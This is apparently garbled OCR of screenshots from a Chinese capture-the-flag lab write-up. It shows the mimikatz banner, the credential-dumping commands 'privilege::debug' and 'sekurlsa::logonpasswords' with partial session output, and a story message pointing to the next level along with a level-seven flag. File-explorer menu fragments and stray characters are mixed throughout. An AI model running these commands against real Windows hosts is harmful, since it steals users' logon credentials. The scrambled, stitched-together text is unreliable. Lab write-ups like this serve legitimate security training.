.######. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 13 2014 23:03:04) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '######' with 13 modules * * */			
mimikatz # privilege::debug Privilege '20' OK	🖁 C : \Dor	uments a	and Se
mimikatz # sekurlsa::logonpasswords	文件 (2)	编辑 (E)	查看
Authentication Id : 0 ; 44400164 (00000000:02a57e24) Session : RemoteInteractive from 4 User Name : june : june : ONCYVIX-D4EPD6	③ 后退 地址 (2) [• 🕥 • 💋	b 🔎 ments
DUINALII - GUNGANIA「JA50500 SID			
▶ 思要找到小方····································			
\$小芳在我的手上! 如果想要她活命的话, 你必须为我们工作! 哈哈哈你没有理由拒绝我的,对吧? 快来找我吧,完成靶场第八关,获得未知的资格吧! 第七关FLAG{WOW!yougotit!}			
Authen Sessior User Na Domain SID https://blog			49897 ×

总结